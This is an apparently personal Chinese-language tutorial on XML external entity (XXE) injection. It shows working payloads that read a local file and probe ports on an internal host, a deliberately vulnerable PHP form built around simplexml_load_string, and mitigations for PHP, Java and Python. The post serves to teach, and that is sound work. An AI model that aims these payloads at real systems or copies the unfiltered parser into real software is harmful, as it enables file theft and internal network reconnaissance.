2019-05-21
1前言
對(duì)于xxe漏洞可能是自己挖洞時(shí)間太短,真是沒(méi)用遇到過(guò)啊!都是靶機(jī)或者ctf遇到的。寫下文章記錄下來(lái)。
2XML知識(shí)
先把XML聲明、DTD文檔類型定義、文檔元素這些基礎(chǔ)知識(shí)自己看一下,把這些看懂后才能更好的理解,這里不再詳細(xì)贅述相關(guān)知識(shí)請(qǐng)移步→XML?教程-菜鳥(niǎo)教程。

3XXE漏洞
xxe全名“xml external entity injection”即“xml外部實(shí)體注入”。
有了XML實(shí)體,關(guān)鍵字’SYSTEM’會(huì)令XML解析器從URI中讀取內(nèi)容,并允許它在XML文檔中被替換。因此,攻擊者可以通過(guò)實(shí)體將他自定義的值發(fā)送給應(yīng)用程序,然后讓應(yīng)用程序去呈現(xiàn)。 簡(jiǎn)單來(lái)說(shuō),攻擊者強(qiáng)制XML解析器去訪問(wèn)攻擊者指定的資源內(nèi)容(可能是系統(tǒng)上本地文件亦或是遠(yuǎn)程系統(tǒng)上的文件)。比如,下面的代碼將獲取系統(tǒng)上folder/file的內(nèi)容并呈獻(xiàn)給用戶。
攻擊者通過(guò)xml語(yǔ)句中寫入指定的xml實(shí)體語(yǔ)句,從而讓服務(wù)器執(zhí)行,從而導(dǎo)致問(wèn)題。服務(wù)端接收和解析了用戶端傳過(guò)來(lái)的xml數(shù)據(jù),而沒(méi)有做安全控制,從而導(dǎo)致xml外部實(shí)體注入。
4如何構(gòu)建外部實(shí)體注入?
? ? 1.直接通過(guò)DTD外部實(shí)體聲明如下圖
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>

? ? 2.通過(guò)DTD文檔引入外部DTD文檔
? ? 3.通過(guò)DTD外部實(shí)體聲明引入外部實(shí)體聲明 (先寫一個(gè)外部實(shí)體聲明→引用攻擊者服務(wù)器上面的外部實(shí)體聲明)
5支持的協(xié)議

6產(chǎn)生的危害
1:讀取任意文件
2:執(zhí)行系統(tǒng)命令
3:執(zhí)行系統(tǒng)命令
4:攻擊內(nèi)網(wǎng)其他網(wǎng)站? ??
? ?環(huán)境搭建
這里推薦兩個(gè)系統(tǒng) 一個(gè)是pikaqiu一個(gè)是bwapp是兩個(gè)高度集成的靶場(chǎng),皮卡丘是國(guó)內(nèi)人開(kāi)發(fā)的。
我在測(cè)試兩個(gè)靶場(chǎng)后,通讀代碼后自己寫了一個(gè)簡(jiǎn)易的demo。ps:某大佬說(shuō)如果你想搞懂一個(gè)漏洞,比較好的方法是:你可以自己先制造出這個(gè)漏洞,然后再利用它,最后再修復(fù)它
代碼如下:
<head><meta charset=utf-8><title>xxe測(cè)試</title></head><body><form action='' method='post'>xml數(shù)據(jù):<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>
<?php
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$xml = simplexml_load_string($data);
print($xml); }
?>
simplexml_load_string()函數(shù)的作用是把XML字符串載入對(duì)象中,函數(shù)獲取xml內(nèi)容,并沒(méi)有進(jìn)行任何的過(guò)濾。
代碼寫完后測(cè)試:
1測(cè)試解析xml代碼情況

<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker "hack test"> ]>
<name>&hacker;</name>
2測(cè)試讀取任意文件

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>
我測(cè)試的版本是php5.4,45。把PHP版本切換到5.6后就不在進(jìn)行回顯了。
3遠(yuǎn)程端口探測(cè)
局域網(wǎng)中某機(jī)器開(kāi)啟如下端口




<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://10.100.200.2:8080/slfe/"> ]> <login>&xxe;</login>
經(jīng)過(guò)對(duì)比還是能看出開(kāi)發(fā)的端口和沒(méi)開(kāi)放端口的區(qū)別。
如何防御xxe攻擊
方案一:使用開(kāi)發(fā)語(yǔ)言提供的禁用外部實(shí)體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:過(guò)濾用戶提交的XML數(shù)據(jù)
過(guò)濾:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
方案三:使用json格式傳輸數(shù)據(jù)
參考文獻(xiàn):XXE漏洞攻防學(xué)習(xí)(中)? ? ??xxe漏洞的學(xué)習(xí)與利用總結(jié)? ? ?XXE漏洞學(xué)習(xí)